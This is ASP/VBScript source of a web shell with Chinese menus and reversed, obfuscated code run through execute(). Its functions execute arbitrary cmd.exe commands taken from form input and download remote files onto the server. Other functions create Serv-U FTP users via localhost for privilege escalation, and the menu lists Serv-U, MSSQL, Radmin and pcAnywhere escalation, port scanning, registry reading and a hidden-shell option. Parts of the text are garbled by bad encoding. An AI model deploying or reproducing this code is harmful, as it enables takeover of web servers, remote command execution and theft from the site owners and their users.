execute(shisanfun("fi dne⑼gnihton=3TSOPx teS⑼)sevael(dneS.3tsoPx⑼eurT ,⒴sevael/⒴& trop &⒴:1.0.0.721//:ptth⒴ ,⒴TSOP⒴ nepO.3tsoPx⑼)⒴PTTHLMX.2LMXSM⒴(tcejbOetaerC = 3tsoPx teS⑼flrcbv & resut & ⒴=resU ⒴ & flrcbv & tropt & ⒴=oNtroP-⒴ & flrcbv & ⒴0.0.0.0=PI-⒴ & flrcbv & ⒴RESUETELED-⒴ & sevael = sevael⑼flrcbv & ⒴ECNANETNIAM ETIS⒴ & sevael = sevael⑼flrcbv & dwp & ⒴ ssaP⒴ & sevael = sevael⑼flrcbv & rsU & ⒴ resU⒴ = sevael⑼esle⑼)⒴>RB<>rb<): ⒴ & htapt & ⒴ :쓺쨌 ⒴ & ssapt & ⒴ :쯤쵱⒴ & ⒴ ⒴ & resut & ⒴ :츰빵痰 PTF！！契獵묘냥즈츱⒴( j⑼gnihton=TSOPx teS⑼)sevael(dneS.tsoPx⑼eurT ,⒴sevael/⒴& trop &⒴:1.0.0.721//:ptth⒴ ,⒴TSOP⒴ nepO.tsoPx⑼)⒴PTTHLMX.2LMXSM⒴(tcejbOetaerC = tsoPx teS⑼txeN emuseR rorrE nO⑼flrcbv & ⒴PDCLEMAWR|\⒴ & htapt & ⒴=sseccA ⒴ & flrcbv & ⒴enoN=soitaR-⒴ & flrcbv & ⒴ralugeR=epyTdrowssaP-⒴ & flrcbv & ⒴metsyS=ecnanetniaM-⒴⑼_ & flrcbv & ⒴0=mumixaMatouQ-⒴ & flrcbv & ⒴0=tnerruCatouQ-⒴ & flrcbv & ⒴0=tiderCsoitaR-⒴ & flrcbv & ⒴1=nwoDoitaR-⒴⑼_ & flrcbv & ⒴1=pUoitaR-⒴ & flrcbv & ⒴0=eripxE-⒴ & flrcbv & ⒴1-=tuOemiTnoisseS-⒴ & flrcbv & ⒴006=tuOemiTeldI-⒴ & flrcbv & ⒴1-=sresUrNxaM-⒴⑼_ & flrcbv & ⒴0=nwoDtimiLdeepS-⒴ & flrcbv & ⒴0=pUtimiLdeepS-⒴ & flrcbv & ⒴1-=PIrePnigoLsresUxaM-⒴ & flrcbv & ⒴0=elbanEatouQ-⒴⑼_ & flrcbv & ⒴0=drowssaPegnahC-⒴ & flrcbv & ⒴0=nigoLwollAsyawlA-⒴ & flrcbv & ⒴0=neddiHediH-⒴ & flrcbv & ⒴0=eruceSdeeN-⒴⑼_ & flrcbv & ⒴1=shtaPleR-⒴ & flrcbv & ⒴0=elbasiD-⒴ & flrcbv & ⒴=eliFseMnigoL-⒴ & flrcbv & ⒴\⒴ & htapt & ⒴=riDemoH-⒴⑼_ & flrcbv & ssapt & ⒴=drowssaP-⒴ & flrcbv & resut & ⒴=resU-⒴ & flrcbv & tropt & ⒴=oNtroP-⒴ & flrcbv & ⒴0.0.0.0=PI-⒴ & flrcbv & ⒴PUTESRESUTES-⒴ & sevael = sevael⑼flrcbv & ⒴ECNANETNIAM ETIS⒴ & sevael = sevael⑼flrcbv & dwp & ⒴ ssaP⒴ & sevael = sevael⑼flrcbv & rsU & ⒴ resU⒴ = sevael⑼nehT ⒴dda⒴ = )⒴nottuboidar⒴(mroF.tseuqer fi⑼)⒴dmcd⒴(mroF.tseuqer = dnammoC'⑼)⒴tropt⒴(mroF.tseuqer = tropt⑼)⒴htapt⒴(mroF.tseuqer = htapt⑼)⒴ssapt⒴(mroF.tseuqer = ssapt⑼)⒴resut⒴(mroF.tseuqer = resut⑼)⒴tropd⒴(mroF.tseuqer = trop⑼)⒴dwpd⒴(mroF.tseuqer = dwp⑼)⒴resud⒴(mroF.tseuqer = rsU⑼⒴>retnec/<>mrof/<>elbat/<>rt/<>dt/<>'1'=eulav 'noitca'=di 'neddih'=epyt 'noitcaUS'=eman tupni<>'teseR'=eulav '2timbuS'=eman 'teser'=epyt tupni<;psbn&>'oG tsuJ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>d=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<>dt/<뇜<>땍횅>d=di 'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<;psbn&속警땍횅>d=di 'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>d=di dt<>dt/<：蛟훨契獵>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>d=di dt<>dt/<：왯똥蛟륩>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>d=di dt<>dt/<：쓺쨌狂련>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>d=di dt<>dt/<：즈왯속劤>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'redavni'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>d=di dt<>dt/<：뵀瑯속劤>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>d=di dt<>dt/<：왯똥固溝>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>d=di dt<>dt/<：즈왯固溝>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>d=di dt<>dt/<：뵀瑯固溝>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>b/<口斤굶경냥섞>B< >tnof/<8>sgnidbew=ecaf tnof<>s=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>'005'=htdiw elbat<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>retnec<⒴j⑼"))
End Function


Function MainMenu()
j"<script language=javascript>function MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}</script><table width='100%' cellspacing='0' cellpadding='0'><tr><td height='5'></td></tr><tr><td><center><font color=pink><font size=1.0>"&mName&"</font></font></center><hr color=#424242 size=1 ></td></tr>":If ObT(0,1)=" ≠" Then
j"<tr><td height='24'>轟홈掘</td></tr>"
Else
j"<tr><td onClick=""MM_show('menud')""><input onMouseOver=""this.style.cursor='hand'"" type=button value='Disk & Files'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0  id=menud style=""display='none'"">"
Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing
j"</table></td></tr><tr><td valign=""top"" align=center><table border=0><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'""><a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'><font face='wingdings'>8</font> 籃듐몽커쩌"&ef
j cdx&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>"&cxd&" 굶넋埼커<E59FBC>"&ef
j cdx&"<a href='?Action=goback' target='FileFrame'>"&cxd&" 쀼<>섬커쩌"&ef
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\Newfile")&""",""NewFolder"")'>"&cxd&" 劤쉔--커<>"&ef
j cdx&"<a href='?Action=EditFile' target='FileFrame'>"&cxd&" 劤쉔--匡굶"&ef
j cdx&"<a href='?Action=UpFile' target='FileFrame'>"&cxd&" <20>눈--匡숭"&ef
j cdx&"<a href='?Action=Cmd1Shell' target='FileFrame'>"&cxd&" 獵契---CMD"&ef
j cdx&"<a href='?Action=cmdx' target='FileFrame'>"&cxd&" 獵契--CMD2"&ef
j cdx&"<a href='?Action=ScanDriveForm' target='FileFrame'>"&cxd&" 늚턍--홈掘"&ef
j cdx&"<a href='?Action=php' target='FileFrame'>"&cxd&" 신굶--決꿎"&ef
j cdx&"<a href='?Action=PageAddToMdb' target='FileFrame'>"&cxd&" 륩蛟포댔관"&ef
j cdx&"<a href='?Action=upload' target='FileFrame'>"&cxd&" 苟潼--匡숭"&ef&"</table><hr></td></tr>"
End If
j"</tr><tr><td height=4></td></tr><tr><td onClick=""MM_show('menuc')""><input onMouseOver=""this.style.cursor='hand1'"" type=button value='Information'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0  id=menuc style=""display='none'"">"
j cdx&"<a href='?Action=Course' target='FileFrame'>"&cxd&" 痰빵__瑯뵀"&ef
j cdx&"<a href='?Action=getTerminalInfo' target='FileFrame'>"&cxd&" 똥왯__貢쭹"&ef
j cdx&"<a href='?Action=Alexa' target='FileFrame'>"&cxd&" 莉숭__連넣"&ef
j cdx&"<a href='?Action=Servu' target='FileFrame'>"&cxd&" Servu-瓊홈"&ef
j cdx&"<a href='?Action=suftp' target='FileFrame'>"&cxd&" Su---FTP경"&ef
j cdx&"<a href='?Action=MMD' target='FileFrame'>"&cxd&" MS--SA瓊홈"&ef
'j cdx&"<a href='"&htp&"sql.asp' target='FileFrame'>"&cxd&" MYSQL瓊홈--밗잿"&ef 빈퍅역랙憐북 MYSQL MSSQL瓊홈 鹿섟錮욍
j cdx&"<a href='?Action=radmin' target='FileFrame'>"&cxd&" Radmin瓊홈"&ef
j cdx&"<a href='?Action=pcanywhere4' target='FileFrame'>"&cxd&" Pcanywhere"&ef
j cdx&"<a href='?Action=ScanPort' target='FileFrame'>"&cxd&" 똥왯<EB98A5>췄포"&ef
j cdx&"<a href='?Action=ReadREG' target='FileFrame'>"&cxd&" 뗍혤鬧꿍깊"&ef
j cdx&"<a href='?Action=TSearch' target='FileFrame'>"&cxd&" 鎧乞__匡숭"&ef&"</tr></table>"
j"<hr><tr><td><input onMouseOver=""this.style.cursor='hand'"" type=button value='   Special     '></td</tr><tr><td height=4></td></tr><tr><td align=center><table border=0>"
j cdx&"<a href='?Action=EditPower&PowerPath=\\.\"&OOOO&"' target='FileFrame'>"&cxd&" <font color=red>傑儉쮜돨綾돛"&ef
j cdx&"<a href='?Action=hiddenshell' target='FileFrame'>"&cxd&" <font color=red>寧숩<E5AFA7>냥꼇价</font>"&ef
'j cdx&"<a href='http://www.8090sec.com/SQL/index.aspx' target='FileFrame'>"&cxd&" <font color=red>錮욍淚痰</font>"&ef  빈퍅역랙憐북 MYSQL MSSQL瓊홈
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\vti_cnf..\\")&""",""NewFolder"")'>"&cxd&"  <font color=red>꿇콧쯩욜커쩌</font>"&ef
j cdx&"<a href='?Action=ProFile' target='FileFrame'>"&cxd&" <font color=red>앞빻----괏빱"&ef
j"<hr><tr><td><input onMouseOver=""this.style.cursor='hand'"" type=button value=' 꿇콧쯩꿴璂耆 '></td</tr><tr><td height=4></td></tr><tr><td align=center><table border=0>"
j cdx&"<a href='http://www.aizhan.com/siteall/"&str1&"' target='FileFrame'>"&cxd&" 貢籃홈路꿴璂"&ef
j cdx&"<a href='http://www.114best.com/ip/114.aspx?w="&str1&"' target='FileFrame'>"&cxd&" 貢籃谿륩꿴璂"&ef
j cdx&"<a href='http://tool.chinaz.com/baidu/?wd="&str1&"&lm=0&pn=0' target='FileFrame'>"&cxd&" 貢籃澗쩌꿴璂"&ef
j cdx&"<a href='http://tool.chinaz.com/Tools/Robot.aspx?url="&str1&"&btn=+꿴+璂+' target='FileFrame'>"&cxd&" <font color=red>角뤠뇹큽꿴璂"&ef
j cdx&"<a href='?Action=Logout' target='_top'><font face='wingdings'>8</font> <font color=green>藁놔----되쩍"&ef&"</table></td></tr></table>"
end function
function Cmdx()
execute(shisanfun(")⒴>retnec/<>aeratxet/<⒴(j: lladaer.tuodts.))⒴dmc⒴(tseuqer&⒴c/ ⒴&)⒴xdmc⒴(tseuqer(cexe.nhltpircSo j: fi dne⑼ lladaer.tuodts.))⒴dmc⒴(tseuqer&⒴c/ exe.dmc⒴(cexe.nhltpircSo j⑼neht ⒴exe.dmc⒴=)⒴xdmc⒴(tseuqer fi:txeN emuseR rorrE nO:)⒴ >72=swor 051=sloc ylnodaer aeratxet<⒴(j:)⒴ >mrof/<>'tibmuS'=eulav timbus=epyt tupni<⒴(j:)⒴ >rb<>06=ezis 'dmc'=eman txet=epyt tupni<⒴(j:)⒴ >rb<>'exe.dmc'=eulav 06=ezis 'xdmc'=eman txet=epyt tupni<⒴(j:)⒴ >'tsop'=dohtem mrof<>retnec<⒴(j⑼"))
end function


Function Course()
SI="<br><table width='80%' align='center'><tr><td height='20' colspan='3' align='center' id=s><b>溝固痰빵宅륩蛟</b></td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td id=d>&nbsp;溝固痰빵(莉)</td></tr><tr>"
end if
if OBJ.StartType=2 then lx="菱땡"
if OBJ.StartType=3 then lx="癎땡"
if OBJ.StartType=4 then lx="쐐痰"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" id=d colspan=""2"">[폘땡잚謹:"&lx&"]<font>&nbsp;"&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[폘땡잚謹:"&lx&"]<font color=#3399FF>&nbsp;"&obj.path&"</font></td></tr>"
end if
next
j SI&SI0&SI1&SI2&"</table>"
End Function
Function IIf(var, val1, val2)
If var=True Then
IIf=val1
Else
IIf=val2
End If
End Function
Function GetTheSizes(num)
Dim i, arySize(4)
arySize(0)="B"
arySize(1)="KB"
arySize(2)="MB"
arySize(3)="GB"
arySize(4)="TB"
While(num / 1024 >= 1)
num=Fix(num / 1024 * 100) / 100
i=i + 1
WEnd
GetTheSizes=num&" "&arySize(i)
End Function
Function HtmlEncodes(str)
If IsNull(str) Then Exit Function
HtmlEncodes=Server.HTMLEncode(str)
End Function

function downfile(path)
execute(shisanfun("gnihton = mso tes⑼esolc.mso⑼hsulf.esnopser⑼daer.mso etirwyranib.esnopser⑼⒴maerts-tetco/noitacilppa⒴ = epyttnetnoc.esnopser⑼⒴8-ftu⒴ = tesrahc.esnopser⑼ezis.mso ,⒴htgnel-tnetnoc⒴ redaehdda.esnopser⑼)zs,htap(dim & ⒴=emanelif ;tnemhcatta⒴ ,⒴noitisopsid-tnetnoc⒴ redaehdda.esnopser⑼1+)⒴\⒴,htap(verrtsni=zs⑼htap elifmorfdaol.mso⑼1 = epyt.mso⑼nepo.mso⑼))0,6(tbo(tcejboetaerc = mso tes⑼raelc.esnopser⑼"))
end function
function htmlencode(s)
  if not isnull(s) then
    s = replace(s, ">", ">")
    s = replace(s, "<", "<")
    s = replace(s, chr(39), "'")
    s = replace(s, chr(34), """")
    s = replace(s, chr(20), " ")
    htmlencode = s
  end if
end function


ExeCuTe(ShiSanFun("noitcnuF dnE⑼⑼⒴>elbat/<>mrof/<>rt/<>dt/<>'눈<>'=eulav 'timbuS'=eman 'timbus'=epyt tupni< >'52'=ezis  'elif'=epyt 'eliFlacoL'=eman tupni<>'04'=ezis '⒴&)⒴exe.dmC\⒴&)⒴htaPredloF⒴(noisseS(htaPeRR&⒴'=eulav 'htaPoT'=eman tupni<：쓺쨌눈<ECA88C>>dt<>rt<>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?⒴&LRU&⒴'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rb<⒴j  ⑼fI dnE  ⑼dnE.esnopseR ⑼)(rrEwohS ⑼IS j ⑼lrUkcaB&IS=IS ⑼gnihton=U teS⑼gnihton=F teS⑼fI dnE ⑼fi dnE  ⑼⒴>retnec/<！묘냥⒴&⒴눈⒴&⒴<>⒴&emaNU&⒴숭匡>rb<>rb<>rb<>retnec<⒴=IS ⑼nehT 0=rebmun.rrE fI ⑼emaNU sAevaS.F ⑼eslE  ⑼txen emuser rorre no⑼⒴!눈<>⒴&⒴숭匡몸寧⒴&⒴嶝朞빈쓺쨌⒴&⒴홍供돨⒴&⒴눈<E292B4>흙⒴&⒴渴헝>rb<⒴=IS  ⑼neht 0=eziSeliF.F rO ⒴⒴=emaNU fI ⑼)⒴htaPoT⒴(mrof.U=emaNU⑼)⒴eliFlacoL⒴(AU.U=F teS⑼ CPU wen=U teS⑼nehT ⒴tsoP⒴=)⒴2noitcA⒴(tseuqeR fI ⑼)(eliFpU noitcnuF"))
function cmd1shell()
execute(shisanfun("is j⑼⒴>mrof/<>aeratxet/<⒴&)31(rhc&is=is⑼fi dne⑼fi dne⑼aaa&is=is⑼)eurt ,elifpmetzs(elifeteled.osf llac⑼esolc.xclelifo⑼)lladaer.xclelifo(edocnelmth.revres=aaa⑼)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tes⑼)⒴tcejbometsyselif.gnitpircs⒴(tcejboetaerc = sf tes⑼)eurt ,0 ,elifpmetzs & ⒴ > ⒴ & dmcfed & ⒴ c/ ⒴&htapllehs( nur.sw llac⑼)⒴txt.dmc⒴(htappam.revres = elifpmetzs⑼)⒴tcejbometsyselif.gnitpircs⒴(tcejboetaerc.revres=osf tes⑼)⒴llehs.tpircsw⒴(tcejboetaerc.revres=sw tes⑼)⒴llehs.tpircsw⒴(tcejboetaerc.revres=sw tes⑼txen emuser rorre no⑼esle⑼aaa&is=is⑼lladaer.tuodts.dd=aaa⑼)dmcfed&⒴ c/ ⒴&htapllehs(cexe.mc=dd tes⑼))0,1(tbo(tcejboetaerc=mc tes⑼neht ⒴sey⒴=)⒴tpircsw⒴(mrof.tseuqer fi⑼neht ⒴⒴><)⒴dmc⒴(mrof.tseuqer fi⑼⒴>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'契獵'=eulav 'timbus'=epyt tupni< >'⒴&dmcfed&⒴'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni<llehs.tpircsw>⒴&dekcehc&⒴'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<>'%07:htdiw'=elyts '⒴&htapllehs&⒴'=eulav 'ps'=eman tupni<：쓺쨌llehs>'tsop'=dohtem mrof<⒴=is⑼)⒴dmc⒴(tseuqer = dmcfed neht ⒴⒴><)⒴dmc⒴(tseuqer fi⑼⒴⒴=dekcehc neht ⒴sey⒴><)⒴tpircsw⒴(tseuqer fi⑼⒴exe.dmc⒴ = htapllehs neht ⒴⒴=htapllehs fi⑼)⒴htapllehs⒴(noisses=htapllehs⑼)⒴ps⒴(tseuqer = )⒴htapllehs⒴(noisses neht ⒴⒴><)⒴ps⒴(tseuqer fi⑼⒴dekcehc ⒴=dekcehc⑼"))
end function
Function upload()
j"<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
j"董珂밑균늪묘콘"
j" 苟潼돕륩蛟포:轟쀼鞫...槨죄쌘伽.杰鹿轟쀼鞫<hr/>"
j"<form method=post>"
j"<select onChange='this.form.theUrl.value=this.value;'>"
j"<option value=''>끽痰넋埼苟潼</option>"
j"<input name=theUrl value='http://' size=80><input type=submit value=' 苟潼 '><br/>"
j"<input name=thePath value='" & HtmlEncode(Server.MapPath(".")) & "\' size=80>"
j"<input type=checkbox name=overWrite value=2>닸瞳림맨。"
j"<input type=hidden value=downFromUrl name=theAct>"
j"</form>"
j"<hr/>"
If isDebugMode = False Then
On Error Resume Next
End If:Dim Http, theUrl, thePath, stream, fileName, overWrite
theUrl = Request("theUrl")
thePath = Request("thePath")
overWrite = Request("overWrite")
Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If overWrite <> 2 Then:overWrite = 1:End If
Http.Open "GET", theUrl, False
Http.Send()
If Http.ReadyState <> 4 Then
End If
With stream
.Type = 1
.Mode = 3
.Open
.Write Http.ResponseBody
.Position = 0
.SaveToFile thePath, overWrite
If Err.Number = 3004 Then
Err.Clear
fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
If fileName = "" Then
fileName = "index.htm.txt"
End If
thePath = thePath & "\" & fileName
.SaveToFile thePath, overWrite
j"error,옵콘角凜槨匡숭綠닸瞳，샀苟潼법넋뵨뒈囹櫓놔 君댄轎 。 匡숭苟潼供 귄槨왕俚쌘！！"
End If
.Close
End With
chkErr(Err)
Set Http = Nothing
Set Stream = Nothing
If isDebugMode = False Then
On Error Resume Next
End If
If Request("ice")="fso" Then
response.Redirect str1&"test.aspx"
elseif Request("ice")="fsos" then
response.Redirect str1&"test.php"
elseif Request("ice")="jztxt" then
response.Redirect "http://"&serveru&"/global.asa"
elseif Request("ice")="killdoor" then
response.Redirect str1&"killdoor.asp"
end if
End Function:Function TSearch():dim st:st=timer():RW="<br><table width='600' bgcolor='' border='0' cellspacing='1' cellpadding='0' align='center'><form method='post'>"
  RW=RW & "<tr><td height='20' align='center' bgcolor=''>鎧乞多헐</td></tr>"
  RW=RW & "<tr><td bgcolor=''>&nbsp;쨌&nbsp;&nbsp;쓺：<input name='SFpath' value='" & WWWRoot & "' style='width:390'>&nbsp;鬧:뜩쨌뤍賈痰"",""뵀젯쌈.</td></tr>"
  RW=RW & "<tr><td bgcolor=''>&nbsp;匡숭츰：<input name='Sfk' style='width:200'>&nbsp;<input type='submit' value='鎧乞' class='submit'>&nbsp;[꼬롸冷契]</td></tr>"
  RW=RW & "</form></table>"
  j RW : RW=""
  if Request.Form("Sfk")<>"" then
  Set newsearch=new SearchFile
  newsearch.Folders=trim(Request.Form("SFpath"))
  newsearch.keyword=trim(Request.Form("Sfk"))
  newsearch.Search
  Set newsearch=Nothing
  j"<22>M븈："&(timer()-st)*1000&"봐취<hr>"
  end if
End Function

Class SearchFile
 dim Folders,keyword,objFso,Counter
 Private Sub Class_Initialize
  Set objFso=Server.CreateObject(ObT(0,0))
  Counter=0
 End Sub
 Private Sub Class_Terminate
    Set objFso=Nothing
 End Sub
 Function Search
  Folders=split(Folders,",")
  flag=instr(keyword,"\") or instr(keyword,"/")
  flag=flag or instr(keyword,":")
  flag=flag or instr(keyword,"|")
  flag=flag or instr(keyword,"&")
  if flag then
    j"<table align='center' width='600'><hr><p align='center'><font color='red'><3E>P<EFBFBD>I俚꼇콘관벵/\:|&</font><br>"
 Exit Function
  else
    j"<table align='center' width='600'><hr>"
  end if
  dim i
  for i=0 to ubound(Folders)
    Call GetAllFile(Folders(i))
  next
  j"<p align='center'>묾鎧乞돕<font color='red'>"&Counter&"</font><3E>폶벎<br>"
 End Function
 Private Function GetAllFile(Folder)
  dim objFd,objFs,objFf
  Set objFd=objFso.GetFolder(Folder)
  Set objFs=objFd.SubFolders
  Set objFf=objFd.Files
  dim strFdName
  On Error Resume Next
  For Each OneDir In objFs
    strFdName=OneDir.Name
    If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then
      SFN=Folder&"\"&strFdName
      Call GetAllFile(SFN)
 End If
  Next
  dim strFlName
  For Each OneFile In objFf
    strFlName=OneFile.Name
    If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then
      FN=Folder&"\"&strFlName
   Counter=Counter+ColorOn(FN)
 End If
  Next
  Set objFd=Nothing
  Set objFs=Nothing
  Set objFf=Nothing
 End Function
 Private Function CreatePattern(keyword)
   CreatePattern=keyword
   CreatePattern=Replace(CreatePattern,".","\.")
   CreatePattern=Replace(CreatePattern,"+","\+")
   CreatePattern=Replace(CreatePattern,"(","\(")
   CreatePattern=Replace(CreatePattern,")","\)")
   CreatePattern=Replace(CreatePattern,"[","\[")
   CreatePattern=Replace(CreatePattern,"]","\]")
   CreatePattern=Replace(CreatePattern,"{","\{")
   CreatePattern=Replace(CreatePattern,"}","\}")
   CreatePattern=Replace(CreatePattern,"*","[^\\\/]*")
   CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}")
   CreatePattern="("&CreatePattern&")+"
 End Function
 Private Function ColorOn(FileName)
   dim objReg
   Set objReg=new RegExp
   objReg.Pattern=CreatePattern(keyword)
   objReg.IgnoreCase=True
   objReg.Global=True
   retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1))
   if retVal then
     OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"<font color=''>$1</font>")
     OutPut="<table align='center' width='600'>&nbsp;" & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut
  j OutPut
  Response.flush
  ColorOn=1
   else
     ColorOn=0
   end if
   Set objReg=Nothing
 End Function
End Class


execute(shisanfun("⑼noitcnuf dnE:fI dnE:⒴)'。苟쩌커듐籃瞳꼇숭匡'(trela⒴⒴=kcilcno ⒴⒴###⒴=lrUnepo:eslE:⒴knalb_⒴⒴=tegrat ⒴⒴⒴&lrUeht&⒴/⒴=lrUnepo:fI dnE:)2 ,lrUeht(diM = lrUeht:nehT ⒴/⒴ = )1 ,lrUeht(tfeL fI:)⒴/⒴ ,⒴\⒴ ,lrUeht(ecalpeR = lrUeht:)1 + )htaPeht(neL ,htaPesu(diM = lrUeht:nehT )htaPeht(esaCL = )))htaPeht(neL ,htaPesu(tfeL(esaCL fI:)⒴/⒴(htaPpaM.revreS = htaPeht:htaPeht ,lrUeht miD:)htaPesu(lrUnepo noitcnuf:noitcnuF dnE:fi dne:⒴B⒴ & eziSeht = eziSehTteg: nehT 4201< eziSeht dnA 0 => eziSeht fI:fi dne:⒴K⒴ & 001 / )001 * )4201 / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201( < eziSeht dnA 4201 => eziSeht fI:fi dne:⒴M⒴ & 001 / )001 * ))4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( < eziSeht dnA )4201 * 4201( => eziSeht fI:fi dne:⒴G⒴ & 001 / )001 * ))4201 * 4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( => eziSeht fI:)eziSeht(eziSehTteg noitcnuF:noitcnuF dnE:fi dne:⒴>⒴⒴'⒴&htaPrewoP&⒴=htaPrewoP&2=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol⒴⒴=kcilcno 땍傑=eulav nottub=epyt tupni< >tnof/<땍傑灌>26FF26#=roloc tnof<⒴ = setubirttAteg:esle:⒴>⒴⒴'⒴&htaPrewoP&⒴=htaPrewoP&1=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol⒴⒴=kcilcno 傑썩=eulav nottub=epyt tupni< >tnof/<땍傑綠>der=roloc tnof<⒴ = setubirttAteg: neht 0=KOtidE fi:)⒴\\⒴,⒴\⒴,htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => eulaVtni fI:fI dnE:0=KOtidE:2 - eulaVtni = eulaVtni:nehT 2 => eulaVtni fI:fI dnE:0=KOtidE:4 - eulaVtni = eulaVtni:nehT 4 => eulaVtni fI:fI dnE:8 - eulaVtni = eulaVtni:nehT 8 => eulaVtni fI:fI dnE:61 - eulaVtni = eulaVtni:nehT 61 => eulaVtni fI:fI dnE:23 - eulaVtni = eulaVtni:nehT 23 => eulaVtni fI:fI dnE:46 - eulaVtni = eulaVtni:nehT 46 => eulaVtni fI:fI dnE:821 - eulaVtni = eulaVtni:nehT 821 => eulaVtni fI:1=KOtidE:KOtidE miD:)htaPrewoP,eulaVtni(setubirttAteg noitcnuF:noitcnuF dnE:eltiTrts = eltiTyMteg:)htaPrewoP,setubirttA.enOeht(setubirttAteg & ⒴ :檄榴掘홈품뎠>rb<⒴ & eltiTrts = eltiTrts:desseccAtsaLetaD.enOeht & ⒴ :狂련빈離>rb<⒴ & eltiTrts = eltiTrts:deifidoMtsaLetaD.enOeht & ⒴ :맣錦빈離>rb<⒴ & eltiTrts = eltiTrts: detaerCetaD.enOeht & ⒴ :쇌珂쉔눼>rb<⒴ & eltiTrts = eltiTrts: )eziS.enOeht(eziSehTteg & ⒴ :鬼댕>rb<⒴ & eltiTrts = eltiTrts: ⒴⒴ & htaP.enOeht & ⒴ :쓺쨌>rb<⒴ & eltiTrts = eltiTrts:eltiTrts miD:)htaPrewoP,enOeht(eltiTyMteg noitcnuF:bus dne:gnihtoN = eliFeht teS:)htaPrewoP,eliFeht(eltiTyMteg j:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)⒴⒴,⒴⒴⒴⒴,htaPrewoP(ecalper=htaPrewoP:)htaPrewoP(rewoPtidE bus:bus dne:gnihtoN = eliFeht teS:fi dne:⒴>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'。묘냥땍傑숭匡'(trela>'tpircsavaj'=egaugnal tpircs<⒴ j:7=setubirttA.eliFeht:esle:⒴>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'。傑썩묘냥綠숭匡'(trela>'tpircsavaj'=egaugnal tpircs<⒴ j:23=setubirttA.eliFeht:neht 1=epyTevaS fi:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)epyTevaS,htaPrewoP(rewoPevaS bus⑼"))

